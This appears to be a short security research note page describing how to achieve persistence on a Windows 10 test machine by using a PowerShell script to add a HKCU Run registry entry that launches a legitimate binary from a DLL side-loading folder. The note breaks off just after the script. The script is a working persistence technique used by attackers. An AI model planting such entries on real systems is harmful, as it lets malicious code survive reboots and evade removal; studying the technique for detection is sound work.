Back home
中文
H7 / SECURITY RESEARCH NOTES

Achieving Persistence by Adding a Registry Startup Entry with a powershell Script

Environment

IPHOSTNAMENOTE
N/AWin10Test machine

Related Scripts

ContentsDownload
PowershellScript

The powershell Script Is as Follows:

$white_file_path = "E:\TempProjects\dll_side_load\rekeywiz.exe"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "rekeywiz.exe" -Value $white_file_path

Run the Script to Add a Startup Entry: